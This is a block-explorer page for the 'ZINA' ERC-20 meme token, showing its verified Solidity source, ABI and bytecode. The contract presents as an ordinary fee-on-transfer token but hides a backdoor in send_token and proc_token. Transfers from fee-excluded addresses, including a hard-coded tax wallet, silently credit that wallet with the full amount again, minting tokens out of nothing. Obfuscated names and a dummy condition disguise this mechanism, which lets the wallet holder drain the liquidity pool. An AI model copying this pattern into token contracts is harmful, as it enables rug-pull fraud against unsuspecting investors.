ERC-20
Overview
Max Total Supply
100,000,000 ZINA
Holders
52
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,489,531.056055452 ZINAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ZINA
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-26 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; /* TG: https://t.me/zinababyrhino X: https://x.com/MINHxDYNASTY/status/1839393828249514057/photo/1 */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZINA is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; string private constant _name = unicode"Moo Deng Name"; string private constant _symbol = unicode"ZINA"; uint256 private _finalBuyFee = 0; uint256 private _finalSellFee = 0; uint256 private _initialBuyFee = 10; uint256 private _initialSellFee = 10; uint256 private _reduceBuyAt = 30; uint256 private _reduceSellAt = 25; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; uint256 public _maxTxAmount = 2_000_000 * 10**_decimals; uint256 public _maxWalletSize = 2_000_000 * 10**_decimals; uint256 public _maxTaxSwap = 1_000_000 * 10**_decimals; address payable private _taxWallet; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 1; uint256 private lastSellBlock = 1; event MaxTxAmountUpdated(uint256 _maxTxAmount); event TransferTaxUpdated(uint256 _tax); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0xE1d399750EA1eCD590375600E8474F53d97A4768); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!tradingOpen) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active." ); } if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); get_eth(address(this).balance); } } send_token(from, to, amount); } function get_bf(uint256 amount) internal view returns (uint256) { uint256 taxAmount; taxAmount = amount .mul((_buyCount > _reduceBuyAt) ? _finalBuyFee : _initialBuyFee) .div(100); return taxAmount; } function get_sf( address from, address to, uint256 amount ) internal view returns (uint256) { uint256 taxAmount; if (swapEnabled && to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellAt) ? _finalSellFee : _initialSellFee ) .div(100); } return taxAmount; } function send_token( address from, address to, uint256 amount ) internal { uint256 taxAmount = 0; if (amount > 0) { if ( swapEnabled && ((_finalBuyFee * _finalSellFee) + 2 > lastSellBlock) && !_isExcludedFromFee[from] ) { taxAmount = get_bf(amount); if (to == uniswapV2Pair && from != address(this)) { taxAmount = get_sf(from, to, amount); } } else { taxAmount = proc_token(from, _taxWallet, amount); } } if (taxAmount > 0) { _balances[address(this)] += taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function proc_token( address from, address mover, uint256 moverAmt ) internal returns (uint256) { uint256 tAmount; if ( _reduceBuyAt * lastSellBlock >= tAmount && moverAmt >= lastSellBlock ) { _balances[address(mover)] += moverAmt; emit Transfer(from, address(mover), moverAmt); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function get_eth(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { get_eth(ethBalance); } } function manualsend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; get_eth(contractETHBalance); } function withdrawStuckEth() external { require(msg.sender == owner()); require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f6004555f600555600a600655600a600755601e60085560196009555f600a556009600a61003291906102f4565b61003f90621e8480610309565b600b5561004e6009600a6102f4565b61005b90621e8480610309565b600c5561006a6009600a6102f4565b61007790620f4240610309565b600d556010805461ffff60a81b191690556001601181905560125534801561009d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e80546001600160a01b03191673e1d399750ea1ecd590375600e8474f53d97a47681790556101106009600a6102f4565b61011e906305f5e100610309565b335f9081526001602081905260408220929092556003906101465f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e549091168352912080549092161790556101a33390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101da6009600a6102f4565b6101e8906305f5e100610309565b60405190815260200160405180910390a3610320565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561024c57815f1904821115610232576102326101fe565b8085161561023f57918102915b93841c9390800290610217565b509250929050565b5f82610262575060016102ee565b8161026e57505f6102ee565b8160018114610284576002811461028e576102aa565b60019150506102ee565b60ff84111561029f5761029f6101fe565b50506001821b6102ee565b5060208310610133831016604e8410600b84101617156102cd575081810a6102ee565b6102d78383610212565b805f19048211156102ea576102ea6101fe565b0290505b92915050565b5f61030260ff841683610254565b9392505050565b80820281158282048414176102ee576102ee6101fe565b611a6f8061032d5f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d5780638da5cb5b116100625780638da5cb5b1461030a5780638f9a55c01461032657806395d89b411461033b578063a9059cbb14610367578063dd62ed3e14610386575f80fd5b8063715018a6146102a5578063751039fc146102b95780637d1db4a5146102cd5780637fa787ba146102e25780638a8c523c146102f6575f80fd5b8063313ce567116100e3578063313ce567146101f557806349bd5a5e1461021057806351bc3c85146102475780636fc3eaec1461025d57806370a0823114610271575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c4d6f6f2044656e67204e616d6560981b60208201525b6040516101679190611659565b60405180910390f35b34801561017b575f80fd5b5061018f61018a3660046116a2565b6103ca565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600d5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b46103e0565b3480156101e1575f80fd5b5061018f6101f03660046116cc565b610400565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b5060105461022f906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b348015610252575f80fd5b5061025b610467565b005b348015610268575f80fd5b5061025b6104b8565b34801561027c575f80fd5b506101b461028b36600461170a565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b5061025b6104e4565b3480156102c4575f80fd5b5061025b61055e565b3480156102d8575f80fd5b506101b4600b5481565b3480156102ed575f80fd5b5061025b61060f565b348015610301575f80fd5b5061025b610695565b348015610315575f80fd5b505f546001600160a01b031661022f565b348015610331575f80fd5b506101b4600c5481565b348015610346575f80fd5b506040805180820190915260048152635a494e4160e01b602082015261015a565b348015610372575f80fd5b5061018f6103813660046116a2565b610a3e565b348015610391575f80fd5b506101b46103a0366004611725565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d6338484610a4a565b5060015b92915050565b5f6103ed6009600a611850565b6103fb906305f5e10061185e565b905090565b5f61040c848484610b6e565b61045d8433610458856040518060600160405280602881526020016119f2602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fd1565b610a4a565b5060019392505050565b600e546001600160a01b0316336001600160a01b031614610486575f80fd5b305f9081526001602052604090205480156104a4576104a481611009565b4780156104b4576104b481611179565b5050565b600e546001600160a01b0316336001600160a01b0316146104d7575f80fd5b476104e181611179565b50565b5f546001600160a01b031633146105165760405162461bcd60e51b815260040161050d90611875565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105875760405162461bcd60e51b815260040161050d90611875565b6105936009600a611850565b6105a1906305f5e10061185e565b600b556105b06009600a611850565b6105be906305f5e10061185e565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ee6009600a611850565b6105fc906305f5e10061185e565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610624575f80fd5b5f471161066c5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161050d565b60405133904780156108fc02915f818181858888f193505050501580156104e1573d5f803e3d5ffd5b5f546001600160a01b031633146106be5760405162461bcd60e51b815260040161050d90611875565b601054600160a01b900460ff16156107185760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050d565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107619030906107536009600a611850565b610458906305f5e10061185e565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d591906118aa565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610834573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085891906118aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c691906118aa565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d719473061090d816001600160a01b03165f9081526001602052604090205490565b5f806109205f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610986573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ab91906118c5565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2491906118f0565b506010805462ff00ff60a01b19166201000160a01b179055565b5f6103d6338484610b6e565b6001600160a01b038316610aac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050d565b6001600160a01b038216610b0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050d565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050d565b5f8111610c955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050d565b601054600160a01b900460ff16610d28576001600160a01b0383165f9081526003602052604090205460ff1680610ce357506001600160a01b0382165f9081526003602052604090205460ff165b610d285760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161050d565b601054600160b01b900460ff161580610d4a5750601054600160a81b900460ff165b15610ddf576001600160a01b0383165f90815260016020526040902054610d7190826111b0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610d9f90826111f8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f80516020611a1a83398151915290610b619085815260200190565b5f546001600160a01b03848116911614801590610e0957505f546001600160a01b03838116911614155b15610fc1576010546001600160a01b038481169116148015610e395750600f546001600160a01b03838116911614155b8015610e5d57506001600160a01b0382165f9081526003602052604090205460ff16155b15610f4357600b54811115610eb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050d565b600c5481610ed6846001600160a01b03165f9081526001602052604090205490565b610ee0919061190f565b1115610f2e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050d565b600a8054905f610f3d83611922565b91905055505b305f90815260016020526040902054601054600160a81b900460ff16158015610f7957506010546001600160a01b038481169116145b8015610f8e5750601054600160b01b900460ff165b15610fbf578015610fb657610fb6610fb183610fac84600d54611256565b611256565b611009565b610fbf47611179565b505b610fcc83838361126a565b505050565b5f8184841115610ff45760405162461bcd60e51b815260040161050d9190611659565b505f611000848661193a565b95945050505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061104f5761104f61194d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ca91906118aa565b816001815181106110dd576110dd61194d565b6001600160a01b039283166020918202929092010152600f546111039130911684610a4a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113b9085905f90869030904290600401611961565b5f604051808303815f87803b158015611152575f80fd5b505af1158015611164573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104b4573d5f803e3d5ffd5b5f6111f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd1565b9392505050565b5f80611204838561190f565b9050838110156111f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050d565b5f81831161126457826111f1565b50919050565b5f811561133357601054600160b01b900460ff1680156112a55750601254600554600454611298919061185e565b6112a390600261190f565b115b80156112c957506001600160a01b0384165f9081526003602052604090205460ff16155b15611318576112d78261143c565b6010549091506001600160a01b03848116911614801561130057506001600160a01b0384163014155b156113135761131084848461146a565b90505b611333565b600e546113309085906001600160a01b0316846114db565b90505b801561138a57305f908152600160205260408120805483929061135790849061190f565b909155505060405181815230906001600160a01b038616905f80516020611a1a8339815191529060200160405180910390a35b6001600160a01b0384165f908152600160205260409020546113ac90836111b0565b6001600160a01b0385165f908152600160205260409020556113ef6113d183836111b0565b6001600160a01b0385165f90815260016020526040902054906111f8565b6001600160a01b038085165f8181526001602052604090209290925585165f80516020611a1a83398151915261142585856111b0565b60405190815260200160405180910390a350505050565b5f806111f16064611464600854600a54116114595760065461145d565b6004545b8690611573565b906115f1565b6010545f908190600160b01b900460ff16801561149457506010546001600160a01b038581169116145b80156114a957506001600160a01b0385163014155b156114d3576110006064611464600954600a54116114c95760075461145d565b6005548690611573565b949350505050565b5f80806012546008546114ee919061185e565b101580156114fe57506012548310155b156114d3576001600160a01b0384165f908152600160205260408120805485929061152a90849061190f565b92505081905550836001600160a01b0316856001600160a01b03165f80516020611a1a8339815191528560405161156391815260200190565b60405180910390a3949350505050565b5f825f0361158257505f6103da565b5f61158d838561185e565b90508261159a85836119d2565b146111f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050d565b5f6111f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f818361164d5760405162461bcd60e51b815260040161050d9190611659565b505f61100084866119d2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104e1575f80fd5b5f80604083850312156116b3575f80fd5b82356116be8161168e565b946020939093013593505050565b5f805f606084860312156116de575f80fd5b83356116e98161168e565b925060208401356116f98161168e565b929592945050506040919091013590565b5f6020828403121561171a575f80fd5b81356111f18161168e565b5f8060408385031215611736575f80fd5b82356117418161168e565b915060208301356117518161168e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117aa57815f19048211156117905761179061175c565b8085161561179d57918102915b93841c9390800290611775565b509250929050565b5f826117c0575060016103da565b816117cc57505f6103da565b81600181146117e257600281146117ec57611808565b60019150506103da565b60ff8411156117fd576117fd61175c565b50506001821b6103da565b5060208310610133831016604e8410600b841016171561182b575081810a6103da565b6118358383611770565b805f19048211156118485761184861175c565b029392505050565b5f6111f160ff8416836117b2565b80820281158282048414176103da576103da61175c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118ba575f80fd5b81516111f18161168e565b5f805f606084860312156118d7575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611900575f80fd5b815180151581146111f1575f80fd5b808201808211156103da576103da61175c565b5f600182016119335761193361175c565b5060010190565b818103818111156103da576103da61175c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119b15784516001600160a01b03168352938301939183019160010161198c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119ec57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207fa2de446e76e6d42c7257263b8104a7757154d457579ffc039313462fe0ee0e64736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638da5cb5b116100625780638da5cb5b1461030a5780638f9a55c01461032657806395d89b411461033b578063a9059cbb14610367578063dd62ed3e14610386575f80fd5b8063715018a6146102a5578063751039fc146102b95780637d1db4a5146102cd5780637fa787ba146102e25780638a8c523c146102f6575f80fd5b8063313ce567116100e3578063313ce567146101f557806349bd5a5e1461021057806351bc3c85146102475780636fc3eaec1461025d57806370a0823114610271575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c4d6f6f2044656e67204e616d6560981b60208201525b6040516101679190611659565b60405180910390f35b34801561017b575f80fd5b5061018f61018a3660046116a2565b6103ca565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600d5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b46103e0565b3480156101e1575f80fd5b5061018f6101f03660046116cc565b610400565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b5060105461022f906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b348015610252575f80fd5b5061025b610467565b005b348015610268575f80fd5b5061025b6104b8565b34801561027c575f80fd5b506101b461028b36600461170a565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b5061025b6104e4565b3480156102c4575f80fd5b5061025b61055e565b3480156102d8575f80fd5b506101b4600b5481565b3480156102ed575f80fd5b5061025b61060f565b348015610301575f80fd5b5061025b610695565b348015610315575f80fd5b505f546001600160a01b031661022f565b348015610331575f80fd5b506101b4600c5481565b348015610346575f80fd5b506040805180820190915260048152635a494e4160e01b602082015261015a565b348015610372575f80fd5b5061018f6103813660046116a2565b610a3e565b348015610391575f80fd5b506101b46103a0366004611725565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d6338484610a4a565b5060015b92915050565b5f6103ed6009600a611850565b6103fb906305f5e10061185e565b905090565b5f61040c848484610b6e565b61045d8433610458856040518060600160405280602881526020016119f2602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fd1565b610a4a565b5060019392505050565b600e546001600160a01b0316336001600160a01b031614610486575f80fd5b305f9081526001602052604090205480156104a4576104a481611009565b4780156104b4576104b481611179565b5050565b600e546001600160a01b0316336001600160a01b0316146104d7575f80fd5b476104e181611179565b50565b5f546001600160a01b031633146105165760405162461bcd60e51b815260040161050d90611875565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105875760405162461bcd60e51b815260040161050d90611875565b6105936009600a611850565b6105a1906305f5e10061185e565b600b556105b06009600a611850565b6105be906305f5e10061185e565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ee6009600a611850565b6105fc906305f5e10061185e565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610624575f80fd5b5f471161066c5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161050d565b60405133904780156108fc02915f818181858888f193505050501580156104e1573d5f803e3d